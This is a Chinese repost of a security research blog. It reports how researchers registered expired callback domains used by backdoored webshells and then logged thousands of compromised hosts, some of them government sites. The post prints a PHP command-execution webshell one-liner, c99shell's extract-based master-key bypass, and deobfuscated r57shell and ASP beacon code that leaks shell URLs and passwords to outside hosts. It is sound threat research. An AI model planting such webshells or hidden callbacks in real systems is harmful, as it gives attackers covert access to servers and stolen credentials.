原文太啰嗦了,有修改。想看原文,链接在末尾。
感觉像是国内有大量 webshell 未被清理干净。现在貌似'安全'了,过期域名都被国外安全公司重新注册,并将流量引到黑洞里面了。
看到 watchtowr做实验的痕迹了。现在那些域名的流量应该是全部被引到黑洞 ip里面了🐶
我们这次的方向依然是过期和被遗弃的基础设施——但这次有点小变化。今天,我们将带你走进我们称之为“自动化的批量入侵”的冒险之旅。
想象一下,你想要访问成千上万的系统,但又不想费心去识别和入侵这些系统——或者不想弄脏自己的手。
相反,你接管了常用后门中被遗弃的后门,从而“窃取”他人努力的成果,让你能够像那些费心识别入侵机制并实施入侵的人一样,访问被入侵的系统。零努力,同样的结果——只需一个域名的价格。
简单来说——我们一直在劫持那些依赖现已废弃的基础设施和/或过期域名的后门,这些后门本身存在于其他后门中,之后我们看着结果如潮水般涌来。这种劫持让我们能够追踪到“报告”的被入侵主机,并理论上让我们能够接管和控制这些被入侵的主机。
在超过4000个独特且活跃的后门之后(这个数字还在不断增长),我们认为这项研究永远不会结束,分享当前的结果会很有趣。
给读者的提示:我们有意模糊了被入侵的主机名,我们发布这项研究并不会让任何系统面临额外的风险。
在这4000多个独特且活跃的后门中,我们看到了一些有趣的系统:
-
多个被入侵的政府 -
孟加拉国 -
中国 -
尼日利亚 -
泰国、中国、韩国等地的被入侵大学/高等教育机构 -
当然,还有更多(到目前为止,我们已经记录了超过300MB的日志需要梳理)。
被遗弃和过期的基础设施——基本上让我们以几个(再次)20美元的域名价格,获得了“理论上”免费访问数千个系统的权限。
好吧,但你们到底在说什么?
正如我们在各种犯罪团伙和勒索软件组织的崩溃中所看到的那样——犯罪分子也是“人”,他们也会犯一些看似(并且在事后看来)简单的错误。
任何熟悉“黑客场景”历史的人都会带着恐惧和怀旧的心情看待这一点——自黑客诞生以来,黑客们就一直在互相攻击,既为了利益,也为了乐趣。有一种普遍的看法(并有大量证据支持)认为,黑客在保护网络方面通常表现得很糟糕。
Web Shells
作为历史的简要回顾,我们想提供一下背景。所以让我们来谈谈Web Shells。
Web Shells实际上是——在成功入侵后部署到Web服务器上的代码片段,作为后门,允许进行通常的入侵后活动。
这是一个相当简单的概念,这篇博客文章并不是为了成为一门ELI5计算机科学课程。Web Shells有各种形式:
-
简单的、基础的Shell——只是执行命令的东西,比如古老的 <?php system($_GET['exec']);?>
-
功能齐全、花里胡哨的Shell -
c99shell -
r57shell -
中国菜刀(据称由中国APT组织使用)(译注:谁还用菜刀啊?你用吗?我反正是不用🐶) -
以及数千种其他变体
c99shell和r57shell可能会让许多人产生闪回,因为这些臭名昭著且广泛使用的Web Shell曾被每个脚本小子用来学习他们能在互联网冒险中走多远(显然是在他们的家庭实验室中,从未针对JPL)。
以下是r57shell,由http://rst.void.ru发布。请注意,我们从互联网上获取了这些截图(明确地说,它们不是我们自己的)。
这是另一个Shell,c99shell(由ccteam.ru发布),具有类似的功能。
如你所见,这些Shell拥有现代攻击者所需的一切,包括:
-
命令执行功能 -
文件管理(删除、修改、上传、移动、重命名等) -
代码执行功能 -
自删除功能 -
后门部署(反向连接、绑定Shell等) -
FTP暴力破解功能 -
SQL客户端
基本上,如果你有需求,这些Shell都能满足。它们本质上是2024年你用于远程管理的工具的改进版(但基于HTTP,并且有更好的ASCII艺术)。
黑吃黑
然而,鲜为人知的是,这些Shell通常被后门化,以允许黑客入侵黑客。
这里有一个例子。在r57shell的原始未修改版本中,我们可以找到以下代码:
if (!in_array($addr[0], $serv)) {
@print "<img src="http://rst.void.ru/r57shell_version/version.php?img=1&version=".$current_version."" border=0 height=0 width=0>";
@readfile ("http://rst.void.ru/r57shell_version/version.php?version=".$current_version."");}}
echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(2).'<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2>';
echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b>";
这段代码生成了一个大小为零的HTML <img>
标签,从‘rst.void.ru’(r57shell创建者拥有的域名)获取文件,显然是为了将当前使用的Shell版本字符串发送给脚本维护者。看起来挺无辜的,对吧?
但实际上,这通过HTTP请求的referrer头将新部署的Web Shell的位置泄露给了rst.void.ru的所有者——因此,在你花了几个小时入侵目标后,你刚刚将你新获得的Shell交给了比你更聪明的人——可以说是更大的鱼。
我是安全专业人士,我总是配置认证
很多Web Shell都带有密码保护,允许攻击者限制访问权限,只允许自己访问。但惊喜的是——这些后门的一个常见功能是允许Web Shell的原始作者(除了当前攻击者)使用“万能钥匙”访问任何运行该Web Shell的主机。
一个很好的(历史)例子是上面提到的c99shell后门。虽然这不是什么新鲜事,已经讨论了很多年——但我们在这里详细说明是为了提供背景,希望能描绘出一个清晰的画面。
自己看看吧……
$login = ""; //登录名
$pass = ""; //密码
$md5_pass = ""; //md5加密的密码。如果为空,则使用md5($pass)
...
@extract($_REQUEST["c99shcook"]);
...
if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
{
...
header("WWW-Authenticate: Basic realm="c99shell ".$shver.": ".$login_txt.""");
header("HTTP/1.0 401 Unauthorized");
exit($accessdeniedmess);
}
}
乍一看,这很简单。登录名和密码在代码顶部硬编码(攻击者在部署Shell之前应自定义)在pass变量中。
稍后,一个典型的比较PHP_AUTH_USER
和PHP_AUTH_PW
进行身份验证检查,如果不匹配则退出。看起来很普通,对吧?
但那个看似无害的@extract
呢?根据php.net,这个函数在不可信数据上使用并不“安全”。
extract
函数旨在有效地以键/值对的形式获取输入,然后使用它们覆盖当前作用域中的变量。
这意味着,针对犯罪分子的犯罪分子可以简单地提供一个c99shcook
请求参数(GET或POST),其中包含一个名为md5_pass
的变量,其值设置为自己的密码,login
设置为选择的用户名。这将覆盖硬编码的凭据变量,并允许“更大的鱼”攻击者满足身份验证。
我们能否将自己置于其中一些后门中,并增加我们的“非官方系统管理员”职责?
剧透:答案是肯定的。
调整了一些内部代码后,我们开始了任务——收集尽可能多的Web Shell(无论语言、目标或年龄),解混淆任何受base64保护的代码,并提取可能用于某些回调功能的未注册域名。
然后我们将其连接到AWS Route53 API,并批量购买。说实话,20美元而已。
朋友们——我们注册了40多个域名,并开始搭建基础设施。以下是一些例子:
Shell名称 | 引用的域名 |
---|---|
~神秘未知~ | 6634596.com |
marion001.php | aljazeera7.com |
~神秘未知~ | alturks.com |
~神秘未知~ | caspian-pirates.org |
EgY_SpIdEr ShElL V2 | csthis.com |
~神秘未知~ | dcvi.net |
NetworkFileManagerPHP | drakdandy.net |
Shell [ci] . Biz | emp3ror.com |
PHPJackal | flyphoto.us |
Kodlama | guerrilladns.com |
Predator | h0ld-up.info |
dhie-Q fx29sh v1 06.2008 | h4cks.in |
Nix远程Web Shell | hackru.info |
iMHaBiRLiGi | imhabirligi.com |
iMHaBiRLiGi | nettekiadres.com |
Ajax/PHP命令Shell | ironwarez.info |
ASP一句话客户端< | jbl86.com |
SyRiAn Sh3ll V7 | library-ar.com |
RedHat Hacker | ll4best.com |
r57shell | localshell.net |
Locus7Shell Modified by #!physx^ | locus7s.com |
星外-华众-新网-虚拟主机提权专用Webshell | love-1-love.com |
解包unpack.vbs | lpl38.com |
传说中的草泥马4.0.asp | odayexp.com |
Locus7s Modified c100 Shell | precision-gaming.com |
c99 | rootshell-security.net |
SimAttacker | shellci.biz |
c99_w4cking | templatez.org |
~神秘未知~ | w2img.com |
r57gentr dQ99Sh | waterski21.com |
get.php | yywjw.com |
有了通配符TLS证书、自动配置的Apache Web服务器,我们将新域名指向我们的日志服务器,该服务器除了记录传入请求外什么都不做,然后返回404。
在观众中的极客开始对我们大喊大叫之前,我们在这里非常小心地保持在法律范围内——这些请求是发送给我们的,我们没有操纵系统与我们通信,当然也没有响应要评估的代码。
虽然我们有大量的数据,逐一梳理会让人感到乏味,但我们想强调一些有趣的事情:
你好,朝鲜?
我们看到了什么?首先,我们看到有人扮演Lazarus Group,也就是APT37,也就是朝鲜。考虑到目标,我们不太可能抓到Lazarus,但我们可能看到了一些攻击者,他们正在重新利用Lazarus使用的APT级工具来达到自己的目的。
看看以下传入的请求:
img2.w2img.com/midia_img/0f000cbW0BuDik7If87T3s.gif 202.146.[redacted] 485 "http://www.[redacted].com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
img2.w2img.com/midia_img/0f000cbW0BuDik7If87T3s.gif 35.206.[redacted] - 404 466 "http://[redacted].cn/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
img2.w2img.com/midia_img/0f000cegVDnfw03Y33y936.gif 103.170.[redacted] - 404 466 "http://www.[redacted].net/" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0"
我们看到了数千个这样的请求,从我们的日志服务器获取一个.gif
图像。但它们代表什么?
嗯,我们能够找到生成这些请求的后门样本。它似乎是Lazarus在2020年使用的一个版本的变体。
如果我们仔细看看这个后门,并去掉一些混淆,我们可以看到信标URL,从我们的服务器获取一个.gif
图像:
.menu{background:url(http://img2.w2img.com/midia_img/0f000cegVDnfw03Y33y936.gif);}
这是一行CSS,指定“菜单”样式应从给定的URL获取背景图像。加载页面时,Web浏览器将尝试从w2img.com
服务器获取指定的.gif
文件。
细心的管理员(我们!)正在密切关注日志,并注意到这个请求——最终的效果是通知我们Web Shell已正确部署和访问,并通过referrer泄露了被入侵域名的面板URL。
注意:仅在referrer中泄露域名是相对较新的浏览器更改,确实,使用旧浏览器的攻击者向我们发送了完整的Shell URL。
我们仅从这个后门就看到了超过3900个独特的被入侵域名——显然,这是一个非常流行的工具。
.GOV总是近在咫尺
浏览我们referrer中的高价值域名结果时,以下内容像闪亮的灯塔一样脱颖而出:
host# grep "\.gov" referrers | sort -u
http://www.[redacted].gov.cn/ 不想说啥了,自己看域名吧,这不得有瓜?
https://fhc.gov.ng/
http://[redacted].court.gov.cn 不想说啥了,自己看域名吧,瓜?
http://[redacted].gov.bd
呃,好吧!fhc.gov.ng
是尼日利亚联邦高等法院。
从下面的日志中可以看出,这涉及4个不同的后门——因此,4个不同的Web Shell负责捕获这些信息(通过发送到4个不同域名的请求来证明)。
[[redacted] 0000] http://img2.w2img.com:80/midia_img/0f000cegVDnfw03Y33y936.gif 175.176.[redacted] - 404 522 'http://www.[redacted].gov.cn/' 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Mobile/15E148 Safari/604.1'
[[redacted] 0000] http://www.nettekiadres.com:443/imhabirligi.jpg 58.97.[redacted] - 404 3108 'https://fhc.gov.ng/' 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36'
[[redacted] 0000] h0ld-up.info:80/index.html 103.111.[redacted] - 200 342 "http://[redacted].gov.bd/[redacted].php" "Opera/10.61 (Linux i686; U; en-US) Presto/6.1.88 Version/2.2"
[[redacted] 0000] http://www.lpl38.com:443/post/http:/[redacted].court.gov.cn 117.136.[redacted] - 404 867 '-' 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Mobile Safari/537.36 EdgA/117.0.2045.53'
我们家里的Cisco
自然,我们在数据集中寻找任何高价值目标。我们发现了以下内容,这让我们不禁多看两眼:
img2.w2img.com:80/midia_img/0f000cegVDnfw03Y33y936.gif 110.66.[redacted] - 404 522 "http://www.ciscosoft.com.cn/[redacted].asp"
ciscosoft.com.cn?!我们有些欣慰地发现,这与美国软件巨头Cisco没有任何关系。
给我一切
当我们浏览数据时,我们开始看到另一种类型的后门在回调——这种后门比加载图像文件并依赖referrer头泄露位置要明确得多。具体来说,我们开始看到一些功能,这些功能会回调到实际的日志记录功能,并在参数中包含特定信息。
例如,以下内容(这是许多此类逻辑实现之一):
www.odayexp.com:80/sx/key.asp?url=http%3A%2F%2F[redacted]%2Frequest%2FCelebByConsortiaDayRiches%2Easp&p=[redacted] 43.230.[redacted] - 404 523 "<http://220.167>.[redacted]:89/[redacted].asp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36 Core/1.116.454.400 QQBrowser/13.2.6135.400"
这立即引起了我们的兴趣——不仅提供了Web Shell的URL,还包含了一个“神秘的”p
参数。
这里发送了什么?首先,让我们看看referrer中的URL。
它又是一个Web Shell,但这次有一个密码:
要弄清楚p
代表什么,我们需要看看Web Shell背后的代码。它是用ASP编写的,相关部分如下:
<img src='ht"&"tp://%77%77%77.od"&"ay"&"exp.%63%6F%6D/s"&"x/ke"&"y.asp"&"?url="&server.URLEncode("ht"&"tp://"&request.ServerVariables("HT"&"TP_HO"&"ST")&request.ServerVariables("UR"&"L"))&"&p="&UserPass&"' />
如你所见,它被轻度混淆了。一旦我们去掉混淆,剩下的就是:
<img src='<http://www.odayexp.com/sx/key.asp?url=>" & \
server.URLEncode("http://" & request.ServerVariables("HTTP_HOST") & request.ServerVariables("URL")) & \
"&p="&UserPass&"' />
这段代码再次嵌入了一个图像,从我们的日志服务器www.odayexp.com
获取它。我们可以看到p
参数是如何组成的——它只是UserPass
变量。惊喜惊喜——这是登录Web Shell所需的密码。
所以总结一下——攻击者试图通过要求密码来保护他们的Web Shell安装,但Web Shell被后门化到将密码(明文!)传输到日志服务器odayexp
的程度,该服务器现在由watchTowr拥有。
这个攻击者在保护他们的Web Shell方面得了半分。但以明文形式向我们发送密码?这真的不在“最佳安全实践”列表中。
另一件有趣的事情是,如果我们回头看我们的日志,我们再次看到攻击者似乎在修改和玩弄这个功能——但仍然将数据发送到他们不控制的系统?
www.odayexp.com:80/sx/key.asp?url=”server.urlencode
www.odayexp.com:80/sx/key.asp?url=http://192.168.66.134
www.odayexp.com:80/sx/key.asp?url=http://192.168.66.140/fk.asp
www.odayexp.com:80/sx/key.asp?url=http://localhost/test/fuccck.asp
www.odayexp.com:80/sx/key.asp?url=http://localhost/test/fuccck.asp&p=admin
好吧,就这样吧。
入侵。这个。星球。
虽然这对许多人来说(对我们也是)是一次怀旧之旅——我们的观点是,随着互联网的老化,以及我们开始真正理解被遗弃和过期基础设施的影响范围,我们很可能会看到类似的问题继续存在。
以前,它是一个过期域名,曾经用作支持全球TLD的WHOIS服务器。今天,它是后门中使用的域名。接下来是什么——软件更新基础设施和SSLVPN设备的自动扩展云基础设施?那将是很疯狂的。
虽然值得注意的是,我们观察到的Shell主要偏向中国目标(可能反映了我们的样本数据集),但我们也不愿根据源IP地址得出结论(考虑到代理的便利性)。也就是说,我们注意到来自香港和中国IP地址空间的攻击者流量(或者可能是网站管理员的非常奇怪的选择)有很强的偏向。
到目前为止,我们已经发现了超过4000个被入侵的系统(其中三四个是被入侵的.gov
系统)。这个数字还在不断上升。
与我们之前的.MOBI研究类似,我们的担忧始终围绕着我们发现自己承担的责任。出于同样的原因,这项研究和.MOBI研究得以存在,如果我们像之前的所有者那样让这些域名过期,我们将犯下完全相同的基础设施草率处置的错误。我们非常感谢The Shadowserver Foundation的支持,他们再次同意拯救我们免于风险之中,并接管这项研究中涉及的域名并将其清理。
-
情报来源:https://labs.watchtowr.com/more-governments-backdoors-in-your-backdoors/
原文始发于微信公众号(独眼情报):【有瓜】通过注册失效的反连域名来控制被遗忘的 webshell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论